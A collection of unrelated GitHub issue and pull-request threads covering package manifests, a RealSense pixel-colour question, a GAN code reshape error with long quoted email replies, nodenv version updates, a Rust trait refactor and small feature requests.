Updated: 2022.3.33f1 → 2022.3.34f1
Submitting WinGet manifests
Creating manifests
Uploading manifests and making commits
Creating a pull request

Microsoft Reviewers: Open in CodeFlow

/azp run

/azp run

/azp run

This package installs and launches normally on a Windows 10 VM.

https://github.com/microsoft/winget-pkgs/issues/142854


createInstance can't find configuration

The reference to configuration.py (which is in the root directory) in createInstance (which is in the utilityScripts directory) is not correct so it can not find it.

Added a PR to address this #5


Extract RGB from point?

Required Info

Camera Model
D400

Firmware Version
<IP_ADDRESS>

Operating System & Version
Win 10

Platform
PC

SDK Version
2.0

Language
C/pcl

I know how to project a point to a pixel. But how do I extract the rgb values from this pixel? I would like to use the Cloud XYZRGB type in PCL, but I need rgb values for the points.
Thank you!

Hi @Chimdi511
Please take a look at #1601

Thank you very much! Just wanted to note that the values returned are ints in the range of 0..255, not floats from 0..1.

Here is an example to get RGB data from point how to get XYZ RGB data from RealSense


TO Go API: fixed deliveryservice_request missing fields from DeliveryServiceV13 struct

fixed deliveryservice struct versioning issue. fixes #2527

Can one of the admins verify this patch?

add to whitelist

All tests pass, This looks like an oversight when the structs got versioned. +1

Refer to this link for build results (access rights to CI server needed):
https://builds.apache.org/job/trafficcontrol-PR/2109/
Test PASSed.


I have a problem about the file "RL-GAN-Net-master/GAN/gpv_transforms.py" ，can you help me?

Hello, I have a problem when running the code. Could you please help me.
inputs = np.reshape(inputs,(self.img_size,self.img_size))，the inputs is 128，but self.img_size is 32，that‘s impossible to use reshape to reshape(128，（32，32））.
 File "/home/xk/RL-GAN-Net-master/RL-GAN-Net-master/GAN/trainer.py", line 124, in train     real_images = next(train_iter)
 File "/home/xk/RL-GAN-Net-master/RL-GAN-Net-master/GAN/Datasets/listdataset.py", line 35, in __getitem__     inputs = self.co_transforms(inputs)
 File "/home/xk/RL-GAN-Net-master/RL-GAN-Net-master/GAN/gpv_transforms.py", line 11, in __call__     inputs = transforms(inputs) # TODO check if this configuration applies all the transforms
 File "/home/xk/RL-GAN-Net-master/RL-GAN-Net-master/GAN/gpv_transforms.py", line 29, in __call__     inputs = np.reshape(inputs,(self.img_size,self.img_size))
ValueError: cannot reshape array of size 128 into shape (32,32)

I have the same problem.

I solve this problem by deleting the  36th code of mian.py :
https://www.jianshu.com/p/f1462c489a63

I solve this problem by deleting the 36th code of mian.py :
gpy_transorms.onD2twoD(img_size=args,imsize_new)

I solve this problem by deleting the 36th code of mian.py in GAN folder :
gpy_transorms.onD2twoD(img_size=args,imsize_new)

I have try this too, but it did not reach the experimental effect of the paper
---Original---
From: "Wei<EMAIL_ADDRESS>Date: Tue, Oct 1, 2019 20:45 PM
To<EMAIL_ADDRESS>Cc: "doudoulaile"<2274570131<EMAIL_ADDRESS>Subject: Re: [iSarmad/RL-GAN-Net] I have a problem about the file "RL-GAN-Net-master/GAN/gpv_transforms.py" ，can you help me? (#4)
I solve this problem by deleting the 36th code of mian.py in GAN folder :
gpy_transorms.onD2twoD(img_size=args,imsize_new)
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or mute the thread.

I have try this too, but it did not reach the experimental effect of the paper
…
---Original--- From: "Wei<EMAIL_ADDRESS>Date: Tue, Oct 1, 2019 20:45 PM To<EMAIL_ADDRESS>Cc: "doudoulaile"<2274570131<EMAIL_ADDRESS>Subject: Re: [iSarmad/RL-GAN-Net] I have a problem about the file "RL-GAN-Net-master/GAN/gpv_transforms.py" ，can you help me? (#4) I solve this problem by deleting the 36th code of mian.py in GAN folder : gpy_transorms.onD2twoD(img_size=args,imsize_new) — You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub, or mute the thread.

Thank you for your reply.  Is there a big difference? Do you send email to the author?

The final result is quite different. I have contacted the author, but did not reply
---Original---
From: "Wei<EMAIL_ADDRESS>Date: Tue, Oct 1, 2019 21:00 PM
To<EMAIL_ADDRESS>Cc: "doudoulaile"<2274570131<EMAIL_ADDRESS>Subject: Re: [iSarmad/RL-GAN-Net] I have a problem about the file "RL-GAN-Net-master/GAN/gpv_transforms.py" ，can you help me? (#4)
I have try this too, but it did not reach the experimental effect of the paper
…
---Original--- From: "Wei<EMAIL_ADDRESS>Date: Tue, Oct 1, 2019 20:45 PM To<EMAIL_ADDRESS>Cc: "doudoulaile"<2274570131<EMAIL_ADDRESS>Subject: Re: [iSarmad/RL-GAN-Net] I have a problem about the file "RL-GAN-Net-master/GAN/gpv_transforms.py" ，can you help me? (#4) I solve this problem by deleting the 36th code of mian.py in GAN folder : gpy_transorms.onD2twoD(img_size=args,imsize_new) — You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub, or mute the thread.
Thank you for your reply.  Is there a big difference? Do you send email to the author?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or mute the thread.

The final result is quite different. I have contacted the author, but did not reply
…
---Original--- From: "Wei<EMAIL_ADDRESS>Date: Tue, Oct 1, 2019 21:00 PM To<EMAIL_ADDRESS>Cc: "doudoulaile"<2274570131<EMAIL_ADDRESS>Subject: Re: [iSarmad/RL-GAN-Net] I have a problem about the file "RL-GAN-Net-master/GAN/gpv_transforms.py" ，can you help me? (#4) I have try this too, but it did not reach the experimental effect of the paper … ---Original--- From: "Wei<EMAIL_ADDRESS>Date: Tue, Oct 1, 2019 20:45 PM To<EMAIL_ADDRESS>Cc: "doudoulaile"<2274570131<EMAIL_ADDRESS>Subject: Re: [iSarmad/RL-GAN-Net] I have a problem about the file "RL-GAN-Net-master/GAN/gpv_transforms.py" ，can you help me? (#4) I solve this problem by deleting the 36th code of mian.py in GAN folder : gpy_transorms.onD2twoD(img_size=args,imsize_new) — You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub, or mute the thread. Thank you for your reply. Is there a big difference? Do you send email to the author? — You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub, or mute the thread.

Thank you. I will contact the author too.

Thank you
---Original---
From: "Wei<EMAIL_ADDRESS>Date: Tue, Oct 1, 2019 21:16 PM
To<EMAIL_ADDRESS>Cc: "doudoulaile"<2274570131<EMAIL_ADDRESS>Subject: Re: [iSarmad/RL-GAN-Net] I have a problem about the file "RL-GAN-Net-master/GAN/gpv_transforms.py" ，can you help me? (#4)
The final result is quite different. I have contacted the author, but did not reply
…
---Original--- From: "Wei<EMAIL_ADDRESS>Date: Tue, Oct 1, 2019 21:00 PM To<EMAIL_ADDRESS>Cc: "doudoulaile"<2274570131<EMAIL_ADDRESS>Subject: Re: [iSarmad/RL-GAN-Net] I have a problem about the file "RL-GAN-Net-master/GAN/gpv_transforms.py" ，can you help me? (#4) I have try this too, but it did not reach the experimental effect of the paper … ---Original--- From: "Wei<EMAIL_ADDRESS>Date: Tue, Oct 1, 2019 20:45 PM To<EMAIL_ADDRESS>Cc: "doudoulaile"<2274570131<EMAIL_ADDRESS>Subject: Re: [iSarmad/RL-GAN-Net] I have a problem about the file "RL-GAN-Net-master/GAN/gpv_transforms.py" ，can you help me? (#4) I solve this problem by deleting the 36th code of mian.py in GAN folder : gpy_transorms.onD2twoD(img_size=args,imsize_new) — You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub, or mute the thread. Thank you for your reply. Is there a big difference? Do you send email to the author? — You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub, or mute the thread.
Thank you. I will contact the author too.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or mute the thread.

Thank you
…
---Original--- From: "Wei<EMAIL_ADDRESS>Date: Tue, Oct 1, 2019 21:16 PM To<EMAIL_ADDRESS>Cc: "doudoulaile"<2274570131<EMAIL_ADDRESS>Subject: Re: [iSarmad/RL-GAN-Net] I have a problem about the file "RL-GAN-Net-master/GAN/gpv_transforms.py" ，can you help me? (#4) The final result is quite different. I have contacted the author, but did not reply … ---Original--- From: "Wei<EMAIL_ADDRESS>Date: Tue, Oct 1, 2019 21:00 PM To<EMAIL_ADDRESS>Cc: "doudoulaile"<2274570131<EMAIL_ADDRESS>Subject: Re: [iSarmad/RL-GAN-Net] I have a problem about the file "RL-GAN-Net-master/GAN/gpv_transforms.py" ，can you help me? (#4) I have try this too, but it did not reach the experimental effect of the paper … ---Original--- From: "Wei<EMAIL_ADDRESS>Date: Tue, Oct 1, 2019 20:45 PM To<EMAIL_ADDRESS>Cc: "doudoulaile"<2274570131<EMAIL_ADDRESS>Subject: Re: [iSarmad/RL-GAN-Net] I have a problem about the file "RL-GAN-Net-master/GAN/gpv_transforms.py" ，can you help me? (#4) I solve this problem by deleting the 36th code of mian.py in GAN folder : gpy_transorms.onD2twoD(img_size=args,imsize_new) — You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub, or mute the thread. Thank you for your reply. Is there a big difference? Do you send email to the author? — You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub, or mute the thread. Thank you. I will contact the author too. — You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub, or mute the thread.

By the way, where are your from? I guess you are Chinese?

yes，I'm Chinese. where are you from?
---Original---
From: "Wei<EMAIL_ADDRESS>Date: Tue, Oct 1, 2019 21:19 PM
To<EMAIL_ADDRESS>Cc: "doudoulaile"<2274570131<EMAIL_ADDRESS>Subject: Re: [iSarmad/RL-GAN-Net] I have a problem about the file "RL-GAN-Net-master/GAN/gpv_transforms.py" ，can you help me? (#4)
Thank you
…
---Original--- From: "Wei<EMAIL_ADDRESS>Date: Tue, Oct 1, 2019 21:16 PM To<EMAIL_ADDRESS>Cc: "doudoulaile"<2274570131<EMAIL_ADDRESS>Subject: Re: [iSarmad/RL-GAN-Net] I have a problem about the file "RL-GAN-Net-master/GAN/gpv_transforms.py" ，can you help me? (#4) The final result is quite different. I have contacted the author, but did not reply … ---Original--- From: "Wei<EMAIL_ADDRESS>Date: Tue, Oct 1, 2019 21:00 PM To<EMAIL_ADDRESS>Cc: "doudoulaile"<2274570131<EMAIL_ADDRESS>Subject: Re: [iSarmad/RL-GAN-Net] I have a problem about the file "RL-GAN-Net-master/GAN/gpv_transforms.py" ，can you help me? (#4) I have try this too, but it did not reach the experimental effect of the paper … ---Original--- From: "Wei<EMAIL_ADDRESS>Date: Tue, Oct 1, 2019 20:45 PM To<EMAIL_ADDRESS>Cc: "doudoulaile"<2274570131<EMAIL_ADDRESS>Subject: Re: [iSarmad/RL-GAN-Net] I have a problem about the file "RL-GAN-Net-master/GAN/gpv_transforms.py" ，can you help me? (#4) I solve this problem by deleting the 36th code of mian.py in GAN folder : gpy_transorms.onD2twoD(img_size=args,imsize_new) — You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub, or mute the thread. Thank you for your reply. Is there a big difference? Do you send email to the author? — You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub, or mute the thread. Thank you. I will contact the author too. — You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub, or mute the thread.
By the way, where are your from? I guess you are Chinese?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or mute the thread.

Haha, I am Chinese too. I am a master candidate. Maybe we can contact more, since we are doing the same research topic.

ok. no problem
---Original---
From: "Wei<EMAIL_ADDRESS>Date: Tue, Oct 1, 2019 21:26 PM
To<EMAIL_ADDRESS>Cc: "doudoulaile"<2274570131<EMAIL_ADDRESS>Subject: Re: [iSarmad/RL-GAN-Net] I have a problem about the file "RL-GAN-Net-master/GAN/gpv_transforms.py" ，can you help me? (#4)
Haha, I am Chinese too. I am a master candidate. Maybe we can contact more, since we are doing the same research topic.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or mute the thread.

ok. no problem
…
---Original--- From: "Wei<EMAIL_ADDRESS>Date: Tue, Oct 1, 2019 21:26 PM To<EMAIL_ADDRESS>Cc: "doudoulaile"<2274570131<EMAIL_ADDRESS>Subject: Re: [iSarmad/RL-GAN-Net] I have a problem about the file "RL-GAN-Net-master/GAN/gpv_transforms.py" ，can you help me? (#4) Haha, I am Chinese too. I am a master candidate. Maybe we can contact more, since we are doing the same research topic. — You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub, or mute the thread.

When the author train the GAN, they update  discriminator 5 times for every update of the generator. However, in their code, they update discriminator once for every update of the generator. Do you notice that?

How much does your final result differ from the paper?

The author have set the parameter of update discriminator for 5 times.
---Original---
From: "Wei<EMAIL_ADDRESS>Date: Wed, Oct 2, 2019 15:05 PM
To<EMAIL_ADDRESS>Cc: "doudoulaile"<2274570131<EMAIL_ADDRESS>Subject: Re: [iSarmad/RL-GAN-Net] I have a problem about the file "RL-GAN-Net-master/GAN/gpv_transforms.py" ，can you help me? (#4)
ok. no problem
…
---Original--- From: "Wei<EMAIL_ADDRESS>Date: Tue, Oct 1, 2019 21:26 PM To<EMAIL_ADDRESS>Cc: "doudoulaile"<2274570131<EMAIL_ADDRESS>Subject: Re: [iSarmad/RL-GAN-Net] I have a problem about the file "RL-GAN-Net-master/GAN/gpv_transforms.py" ，can you help me? (#4) Haha, I am Chinese too. I am a master candidate. Maybe we can contact more, since we are doing the same research topic. — You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub, or mute the thread.
When the author train the GAN, they update  discriminator 5 times for every update of the generator. However, in their code, they update discriminator once for every update of the generator. Do you notice that?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or mute the thread.

Haha, I am Chinese too. I am a master candidate. Maybe we can contact more, since we are doing the same research topic.

hello，have you solved this problem？

Haha, I am Chinese too. I am a master candidate. Maybe we can contact more, since we are doing the same research topic.

hello，have you solved this problem？

I finished running the code. The result is quite different. The training process confuse me. It just trained on the complete point cloud, but in paper, they say the input should be the incomplete point cloud.

Haha, I am Chinese too. I am a master candidate. Maybe we can contact more, since we are doing the same research topic.

hello，have you solved this problem？

I finished running the code. The result is quite different. The training process confuse me. It just trained on the complete point cloud, but in paper, they say the input should be the incomplete point cloud.

@YanWei123
Hello, I am trying to re-produce the results of the paper. I have finished training AE and GAN. But when I try to run the RL-GAN-agent, the action space does not change! it gets stuck at a value...
Have you been able to get acceptable results from the code?


How do I add new versions of node that are not listed here?

Hi @OiNutter , I've noticed that a newer LTS version(v4.2.4) of node has been released, but it's not available yet from nodenv install -l.
I can't find any doc anywhere that could show me how to add new versions, either in the code. Can you please tell me how to add new versions? Thanks!

@fraserxu node-build takes care of the installs. Its readme mentions the node-build-update-defs plugin, which is what I use.
Takes a bit of digging through the readmes to find it though! :smile:

4.2.4 was added to node-build 19 days ago
If you're local install of node-build doesn't have 4.2.4, then your version of node-build is out of date and you need to update it. The method for updating obviously depends on how you installed it
If you installed node-build as a plugin to nodenv (via git-clone), then you can just git-pull to get latest. And I recommend using the nodenv-update plugin to keep nodenv plugins up to date.
If you installed node-build via homebrew (either directly, or as part of nodenv), then you'll need to update using brew upgrade nodenv or brew upgrade node-build.
The plugin that @novemberborn mentioned above (node-build-update-defs) is a way to scrape build definitions from nodejs.org before they are included in node-build itself (or without updating node-build). In this case, 4.2.4 is already in latest node-build, so just updating node-build will give you the newer build definitions.

@novemberborn @jasonkarns Thanks!


Refactor Query trait with associated types

What was wrong?
The Query trait uses generic type parameters for the response and result types, but for a given generic node ID type, there will only ever be one implementation of the Query trait for each type of query. Thus, we can use associated types for the response and result types.
This change also cleans up the type signature of Query implementers and QueryPool.
How was it fixed?
Move the response and result generic type parameters to associated types of the Query trait.
To-Do

[x] Add entry to the release notes (may forgo for trivial changes)
[x] Clean up commit history

Those are all valid considerations for the generic node ID parameter. Nothing is done in this PR to address those considerations because it's not clear to me why the same holds for queries in sigp/discv5, and I assume that there was some reason for that.
I expect the query structure to evolve, even in the near term. For the find content query, we represent the target content ID with the generic node ID parameter, because we can represent both with [u8; 32]. This is not ideal though. For both find node and find content queries, we rely on Key to compute distances, but the distance function is the XOR distance function, which does not extend to the Portal state subnetwork.
I expect the existing query structure to change further, and since the ultimate structure is not clear, I would prefer to impose as little change as possible at this time. If in the future we decide to remove the generic node ID parameter, then that should not be a difficult change.

@jacobkaufmann good points

I expect the existing query structure to change further, and since the ultimate structure is not clear, I would prefer to impose as little change as possible at this time. If in the future we decide to remove the generic node ID parameter, then that should not be a difficult change.

Agreed


replacing sns with eventbridge

I believe that feature-wise (e.g. schema registry, the possibility of SaaS/partner integration, variety of targets, ...) the right equivalent for Event Grid is EventBridge.
See https://aws.amazon.com/blogs/compute/choosing-between-messaging-services-for-serverless-applications/
I don't know how to correctly map SNS to another Azure service though :)

@alexdown : Thanks for your contribution! The author(s) have been notified to review your proposed change.

#sign-off


QT Test - add a button "Mark as completed"

As Super Admin l need to be able to mark a candidate's test as completed.
Note:
Add a button "Marked as completed" next to the "Reset" button in the candidate QT area.
Add Joy and Kate as Super Admin Users.
Only Super Admin users should be able to click "Mark as completed" button.
"Mark as completed" button will change the test status to "Completed".
Start/end date timestamps should be preserved as they are.

Tested and worked as described above:

[X] Add a button "Marked as completed" next to the "Reset" button in the candidate QT area.

[X] Add Joy and Kate as Super Admin Users.

[X] "Mark as completed" button will change the test status to "Completed".

[X] Start/end date timestamps should be preserved as they are.

[X] Only Super Admin users should be able to click "Mark as completed" button.


Fix screenshot for import completion

Update the screenshot for import completion to actually show the feature :)
before:

after:

You can check what it looks like in the doc from my branch here:
https://github.com/genlu/visualstudio-docs/blob/fixImportCompletion/docs/ide/reference/intellisense-completion-unimported-types.md

FYI @mikadumont

@mikadumont, you can only sign off in the main PR conversation, not in review comments.

#sign-off


Add a generic enrichment

Add a generic enrichment plugin that simply allows connecting 2 undefined nodes.  This can easily be based off of the 'classification' plugin (and may just replace it).

Added in commit [gabe be52159].


Backend adds

Closing several issues with this PR: #65, #63, #62, #59 & #53

@adelavega What are the possible values of the new status field? Do you still distinguish between save and generate by looking at a locked parameter passed to the API route or has that changed?


refactor: storage config

:tada: This PR is included in version 0.6.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Misc. updates

Added a docker-compose section to the readme
Added deployment constraint to docker-compose.yml file

Sorry for the late response. LGTM, thanks!